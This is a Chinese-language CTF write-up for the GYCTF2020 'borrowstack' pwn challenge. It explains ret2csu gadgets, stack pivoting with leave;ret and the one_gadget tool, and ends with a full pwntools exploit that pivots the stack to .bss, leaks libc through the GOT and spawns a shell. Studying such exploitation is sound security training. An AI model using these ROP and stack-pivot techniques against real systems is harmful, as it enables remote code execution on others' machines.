【GYCTF2020】borrowstack------<栈迁移原理、ret2csu万能gadget、one-gadget工具>


知识点关键字

栈迁移、ROP、csu万能gadget、one-gadget


样本

样本来自于GYTF2020_borrowstack,BUUCTF上有练习环境


知识点详解

0x1 ret2csu原理

  • 动机: 在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。一般来说,64位程序都会调用 libc 中的函数,这时候,我们可以利用 x64下的__libc_csu_init中的万能gadgets来间接的构造函数调用的ROP链。
.text:00000000004006A0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004006A0 ; __unwind {
    
    
.text:00000000004006A0                 push    r15
.text:00000000004006A2                 push    r14
.text:00000000004006A4                 mov     r15d, edi
.text:00000000004006A7                 push    r13
.text:00000000004006A9                 push    r12
.text:00000000004006AB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004006B2                 push    rbp
.text:00000000004006B3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004006BA                 push    rbx
.text:00000000004006BB                 mov     r14, rsi
.text:00000000004006BE                 mov     r13, rdx
.text:00000000004006C1                 sub     rbp, r12
.text:00000000004006C4                 sub     rsp, 8
.text:00000000004006C8                 sar     rbp, 3
.text:00000000004006CC                 call    _init_proc
.text:00000000004006D1                 test    rbp, rbp
.text:00000000004006D4                 jz      short loc_4006F6
.text:00000000004006D6                 xor     ebx, ebx
.text:00000000004006D8                 nop     dword ptr [rax+rax+00000000h]
.text:00000000004006E0
.text:00000000004006E0 loc_4006E0:                             ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004006E0                 mov     rdx, r13
.text:00000000004006E3                 mov     rsi, r14
.text:00000000004006E6                 mov     edi, r15d
.text:00000000004006E9                 call    qword ptr [r12+rbx*8]
.text:00000000004006ED                 add     rbx, 1
.text:00000000004006F1                 cmp     rbx, rbp
.text:00000000004006F4                 jnz     short loc_4006E0
.text:00000000004006F6
.text:00000000004006F6 loc_4006F6:                             ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004006F6                 add     rsp, 8
.text:00000000004006FA                 pop     rbx
.text:00000000004006FB                 pop     rbp
.text:00000000004006FC                 pop     r12
.text:00000000004006FE                 pop     r13
.text:0000000000400700                 pop     r14
.text:0000000000400702                 pop     r15
.text:0000000000400704                 retn
.text:0000000000400704 ; } // starts at 4006A0
.text:0000000000400704 __libc_csu_init endp
  • 原理:
    • 64位程序的函数调用的前六个参数分别存放在 rdi, rsi, rdx, rcx, r8, r9 中,而可以注意到在__libc_csu_init中从地址 0x4006E00x4006E9 有四条汇编指令,通过 r13, r14, r15drdx, rsi, edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0) 进行了赋值操作,然后调用了 r12 + rbx*8 所指向的函数。这样,只需要通过操作r13, r14, r15, r12, rbxrbp 便可以间接的调用我们想调用的函数。
    • 观察__libc_csu_init代码,发现从 0x4006FA0x400704 正好有一段 pop_ret 类型的gadget,可以对上述所需要的寄存器进行操作,这样利用这种特性,便可以实现对 rdx, rsi, edi 的操作,实现函数参数的传输,进行函数调用。
    • 0x40060ED0x4006F4,我们可以控制 rbxrbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_4006E0,进而可以继续执行下面的汇编程序。

0x2 栈迁移原理

  • 动机: 当我们的ROP链过长时很可能栈空间不够,所以需要一个新的地址空间来存放当前的payload;因为开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域;其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 ROP 及进行堆漏洞利用等。
  • 原理: 函数在执行开始的时候,会进行开辟栈帧的操作,返回时会回收栈帧,这个过程主要是通过控制 rbp 和 rsp 两个寄存器来实现的,其中 rsp 代表了当前函数栈的栈顶指针,是控制栈帧增减的关键寄存器,对一个函数栈帧的操作,主要就是对其 rsp 寄存器的操作。那么要想进行对函数栈的控制,首先应该满足两条要求:可以控制程序执行流、可以控制rsp指针。在程序中,leave ret 指令是非常常见的汇编指令,而仅仅通过适当利用 leave ret 便可以达到栈迁移的效果。下面通过一个小示例来演示如何通过两次 leave ret 的执行达到劫持控制流和进行栈迁移。

leave: 相当于执行 mov rsp rbppop rbp
ret: 相当于执行 pop rip

  • 1、首先试图将左边的函数栈迁移到右边的 fake 栈,关键是修改 rsp 的指向。
    在这里插入图片描述
  • 2、 将 caller’s rbp 修改为 my addr 地址,并将 ret addr 修改为 leave ret 的地址。当函数返回时,第一次执行 leave ret 指令,如下图:
    在这里插入图片描述
  • 3、在第二次执行 leave ret 的时候,同时需要劫持程序的执行流,如下图:
    在这里插入图片描述
    这样通过两次 leave ret 的执行,就劫持了程序的控制流和栈帧。同时,注意到在原本的函数栈空间中,只需要将 caller’s rbp 修改为 fake rsp - 2 的地址,将原本的 ret addr 修改为 leave ret 的地址,将 fake rsp - 1 的内存空间设置为我们想要的汇编指令地址,即可达到栈迁移的目的。(上图的 fake stack rbp 也可以是任意值,因为控制栈帧只需要用到 rsp

0x3 one-gadget 工具

  • 介绍: one-gadget 是glibc里调用execve(’/bin/sh’, NULL, NULL)的一段非常有用的gadget。在我们能够控制ip(也就是pc)的时候,用one-gadget来做RCE(远程代码执行)非常方便,比如有时候我们能够做一个任意函数执行,但是做不到控制第一个参数,这样就没办法调用system(“sh”),这个时候one-gadget就可以搞定了。如果你想知道one-gadget原理,click here!
  • 使用: one-gadget 的使用非常简单,比如说希望在某个libc中找到某段启动shell的gadget,只需键入以下命令:
    $ one_gadget libc-2.23.so
    在这里插入图片描述
    可见输出结果不仅仅给出了gadget对应的libc偏移,还给出了约束,这样只需要控制程序在满足约束的前提下跳转到对应的地址执行gadget便可以获得shell。

样本分析

0x1 静态分析

checksec,仅仅有栈不可执行保护。
在这里插入图片描述
在IDA中进行逆向分析:
在这里插入图片描述

  • 程序的流程非常简单,进行两次 read 操作,第一次 read 将数据存放在 buf 开始的数组,但是 buf 到 rbp 的偏移仅仅有0x60个字节,故第一个 read 有16个字节的栈溢出,可以覆盖 rbp 和 返回地址。
  • 仅仅两个内存空间的溢出不足以我们进行ROP链的构造,考虑到下面还有一个 read 函数,将数据读入以 bank 为起始地址的内存空间,该段空间是位于可读可写的 .bss 段的,那可以考虑将ROP链通过第二个 read 写入到 .bss 段,而第一个 read 用来进行栈迁移
  • 当进行栈迁移后,函数的栈帧将移到 .bss 段,通过观察IDA可以发现在距离 .bss 段的 0x30 个低地址处就是 got 表,如果我们直接将栈迁移到 bank 处,则ROP链中的函数调用可能会导致栈向下增长到覆盖掉 got 表,这会使得一些外部函数的全局偏移地址被修改,导致程序崩溃。针对这种问题的解决方法是将迁移后的栈向高地址抬高一段距离,确保函数的调用不会覆盖掉 got 表。

0x2 payload 构造

  • 第一个payload用来进行栈迁移,将返回地址覆盖为 leave ret 的地址,将 caller’s rbp 覆盖为转移的新栈帧的 rsp-2 的地址。
  • 第二个payload用来构造ROP链,为了不覆盖掉 got 表,将新的栈帧向 bank 的高地址方向抬高 0x50 个字节的偏移,然后通过调用 puts 函数,泄露出 puts 的全局地址,以计算 libc 的基址。再通过 read 函数将libc+one_gadget的地址读入到程序来劫持程序流,获取 shell。但是由于 read 函数需要三个参数,在 ROPgadget 查看可用的 gadget 后,发现没有对 rdx 的操作的 pop_ret 指令序列,故采用 __libc_csu_init 中的一段万能 gadget 来执行 read 函数。
    在这里插入图片描述
  • 利用 one_gadget 查找所依赖的库的gadget,如下:
    在这里插入图片描述
  • 选用合适的one_gadget,加上 libc 的基址后,通过 read 函数将其读入到 new rsp + 0x8*9 的内存空间里(该内存空间便是存放 read 返回地址的地方)。构造的ROP链如下图所示:
    在这里插入图片描述
  • 为了满足one_gadget的约束条件,最后一次读入 libc+one_gadget 的同时,将后面的 0x50 个字节置为0。

0x3 动态调试

为了理解新栈帧为什么要抬高一定的字节,我们可以通过动态调试来查看 got 表中发生了什么。

  • 比如我将偏移(new rsp - bank)设置为 0x30,运行程序,在 main 函数返回前,got 表中的数据都是正确的:
    在这里插入图片描述
  • 而在执行到ROP链中 puts函数时,got 表被修改了:
    在这里插入图片描述
  • 通过几次尝试,发现将偏移值设置为 0x50 便可以正确的运行程序获取shell。

0x4 exp

from pwn import *
context.log_level = 'debug'


Debug = 1
if Debug == 1:
	libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
	libc = ELF(libc_name)
	one_gadget = 0x4f432
	p = process("./borrowstack")
else:
	libc_name = './libc-2.23.so'
	libc = ELF(libc_name)
	one_gadget = 0x4526a
	p = remote("node3.buuoj.cn", 25202)

elf = ELF("./borrowstack")
bank_addr = 0x601080
leave_ret = 0x400699
pop_rdi_ret = 0x400703
csu_init_pop = 0x4006FA
csu_init_call = 0x4006E0

offset = 0x50
new_stack_sp = bank_addr + offset
payload1 = b'a'*0x60 + p64(new_stack_sp - 0x10) + p64(leave_ret)
p.recvuntil("Tell me what you want\n")
p.send(payload1)

p.recvuntil("Done!You can check and use your borrow stack now!\n")
payload2 = b'a'*(new_stack_sp-0x10 - bank_addr) + p64(0) + p64(pop_rdi_ret) + p64(elf.got['puts']) \
+ p64(elf.plt['puts'])+ p64(csu_init_pop) + p64(0) + p64(0) + p64(elf.got['read']) +p64(0x100) \
+ p64(new_stack_sp + 0x8*9) + p64(0) + p64(csu_init_call) 
# gdb.attach(p)
p.sendline(payload2)
libc_base = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00')) - libc.sym['puts']
p.sendline(p64(libc_base + one_gadget) + p64(0) * 10)
# print(hex(libc_base + libc.sym['puts']))
p.interactive()

参考文献

one-gadget
CTF Wiki

猜你喜欢

转载自blog.csdn.net/qq_21746331/article/details/112981499